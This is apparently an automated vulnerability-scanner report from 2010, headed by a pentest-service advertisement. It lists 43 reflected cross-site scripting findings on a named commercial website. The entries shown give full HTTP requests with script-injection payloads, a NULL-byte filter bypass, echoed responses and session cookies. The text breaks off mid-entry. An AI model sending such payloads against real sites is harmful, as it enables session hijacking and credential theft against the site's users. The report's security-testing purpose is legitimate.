Contractor for Hire: Per Minute, Per Day, Bounty Hunting

Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for
CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4:
Report generated by XSS.CX at Mon Nov 15 09:57:32 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.videobox.com/beta/2257.seam [REST URL parameter 1]

1.2. http://www.videobox.com/beta/2257.seam [REST URL parameter 2]

1.3. http://www.videobox.com/beta/clear_channel.seam [REST URL parameter 1]

1.4. http://www.videobox.com/beta/clear_channel.seam [REST URL parameter 2]

1.5. http://www.videobox.com/beta/contact_us.seam [REST URL parameter 1]

1.6. http://www.videobox.com/beta/contact_us.seam [REST URL parameter 2]

1.7. http://www.videobox.com/beta/jobs.seam [REST URL parameter 1]

1.8. http://www.videobox.com/beta/jobs.seam [REST URL parameter 2]

1.9. http://www.videobox.com/beta/member/browse-clips.seam [REST URL parameter 1]

1.10. http://www.videobox.com/beta/member/browse-clips.seam [REST URL parameter 2]

1.11. http://www.videobox.com/beta/member/browse-clips.seam [REST URL parameter 3]

1.12. http://www.videobox.com/beta/premium_channel.seam [REST URL parameter 1]

1.13. http://www.videobox.com/beta/premium_channel.seam [REST URL parameter 2]

1.14. http://www.videobox.com/beta/privacy.seam [REST URL parameter 1]

1.15. http://www.videobox.com/beta/privacy.seam [REST URL parameter 2]

1.16. http://www.videobox.com/beta/reviews.seam [REST URL parameter 1]

1.17. http://www.videobox.com/beta/reviews.seam [REST URL parameter 2]

1.18. http://www.videobox.com/beta/set_channel.seam [REST URL parameter 1]

1.19. http://www.videobox.com/beta/set_channel.seam [REST URL parameter 2]

1.20. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 1]

1.21. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 2]

1.22. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 3]

1.23. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 4]

1.24. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 5]

1.25. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 6]

1.26. http://www.videobox.com/beta/support/home.seam [REST URL parameter 1]

1.27. http://www.videobox.com/beta/support/home.seam [REST URL parameter 2]

1.28. http://www.videobox.com/beta/support/home.seam [REST URL parameter 3]

1.29. http://www.videobox.com/beta/tos.seam [REST URL parameter 1]

1.30. http://www.videobox.com/beta/tos.seam [REST URL parameter 2]

1.31. http://www.videobox.com/beta/tour/browse.seam [REST URL parameter 1]

1.32. http://www.videobox.com/beta/tour/browse.seam [REST URL parameter 2]

1.33. http://www.videobox.com/beta/tour/browse.seam [REST URL parameter 3]

1.34. http://www.videobox.com/beta/tour/flash.seam [REST URL parameter 1]

1.35. http://www.videobox.com/beta/tour/flash.seam [REST URL parameter 2]

1.36. http://www.videobox.com/beta/tour/flash.seam [REST URL parameter 3]

1.37. http://www.videobox.com/beta/tour/how_it_works.seam [REST URL parameter 1]

1.38. http://www.videobox.com/beta/tour/how_it_works.seam [REST URL parameter 2]

1.39. http://www.videobox.com/beta/tour/how_it_works.seam [REST URL parameter 3]

1.40. http://www.videobox.com/beta/tourPages/std_browse_page.seam [REST URL parameter 1]

1.41. http://www.videobox.com/beta/tourPages/std_browse_page.seam [REST URL parameter 2]

1.42. http://www.videobox.com/beta/tourPages/std_browse_page.seam [REST URL parameter 3]

1.43. http://www.videobox.com/ [Referer HTTP header]



1. Cross-site scripting (reflected)
There are 43 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.videobox.com/beta/2257.seam [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/2257.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 711da<script>alert(1)</script>d4e86d8909f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta711da<script>alert(1)</script>d4e86d8909f/2257.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 362

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta711da<script>alert(1)</script>d4e86d8909f/2257.seam</code>
...[SNIP]...

1.2. http://www.videobox.com/beta/2257.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/2257.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %0025f5e<script>alert(1)</script>cfd603108de was submitted in the REST URL parameter 2. This input was echoed as 25f5e<script>alert(1)</script>cfd603108de in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/2257.seam%0025f5e<script>alert(1)</script>cfd603108de HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 365

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/2257.seam%0025f5e<script>alert(1)</script>cfd603108de</code>
...[SNIP]...

1.3. http://www.videobox.com/beta/clear_channel.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/clear_channel.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 19c8b<script>alert(1)</script>6912924b304 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta19c8b<script>alert(1)</script>6912924b304/clear_channel.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 371

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta19c8b<script>alert(1)</script>6912924b304/clear_channel.seam</code>
...[SNIP]...

1.4. http://www.videobox.com/beta/clear_channel.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/clear_channel.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %002595a<script>alert(1)</script>7c98cd8e34e was submitted in the REST URL parameter 2. This input was echoed as 2595a<script>alert(1)</script>7c98cd8e34e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/clear_channel.seam%002595a<script>alert(1)</script>7c98cd8e34e HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 374

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/clear_channel.seam%002595a<script>alert(1)</script>7c98cd8e34e</code>
...[SNIP]...

1.5. http://www.videobox.com/beta/contact_us.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/contact_us.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 59fd5<script>alert(1)</script>84186d1bd65 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta59fd5<script>alert(1)</script>84186d1bd65/contact_us.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 368

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta59fd5<script>alert(1)</script>84186d1bd65/contact_us.seam</code>
...[SNIP]...

1.6. http://www.videobox.com/beta/contact_us.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/contact_us.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00b5642<script>alert(1)</script>c97638f5a4c was submitted in the REST URL parameter 2. This input was echoed as b5642<script>alert(1)</script>c97638f5a4c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/contact_us.seam%00b5642<script>alert(1)</script>c97638f5a4c HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 371

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/contact_us.seam%00b5642<script>alert(1)</script>c97638f5a4c</code>
...[SNIP]...

1.7. http://www.videobox.com/beta/jobs.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/jobs.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 137bc<script>alert(1)</script>a047d695347 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta137bc<script>alert(1)</script>a047d695347/jobs.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 362

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta137bc<script>alert(1)</script>a047d695347/jobs.seam</code>
...[SNIP]...

1.8. http://www.videobox.com/beta/jobs.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/jobs.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00120b0<script>alert(1)</script>9de72e61887 was submitted in the REST URL parameter 2. This input was echoed as 120b0<script>alert(1)</script>9de72e61887 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/jobs.seam%00120b0<script>alert(1)</script>9de72e61887 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 365

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/jobs.seam%00120b0<script>alert(1)</script>9de72e61887</code>
...[SNIP]...

1.9. http://www.videobox.com/beta/member/browse-clips.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/member/browse-clips.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1f8bf<script>alert(1)</script>f4f32e05e62 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta1f8bf<script>alert(1)</script>f4f32e05e62/member/browse-clips.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 377

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta1f8bf<script>alert(1)</script>f4f32e05e62/member/browse-clips.seam</code>
...[SNIP]...

1.10. http://www.videobox.com/beta/member/browse-clips.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/member/browse-clips.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4d696<script>alert(1)</script>9cb653c8482 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/member4d696<script>alert(1)</script>9cb653c8482/browse-clips.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 377

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/member4d696<script>alert(1)</script>9cb653c8482/browse-clips.seam</code>
...[SNIP]...

1.11. http://www.videobox.com/beta/member/browse-clips.seam [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/member/browse-clips.seam

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload %0097cf3<script>alert(1)</script>b33575cd8a was submitted in the REST URL parameter 3. This input was echoed as 97cf3<script>alert(1)</script>b33575cd8a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

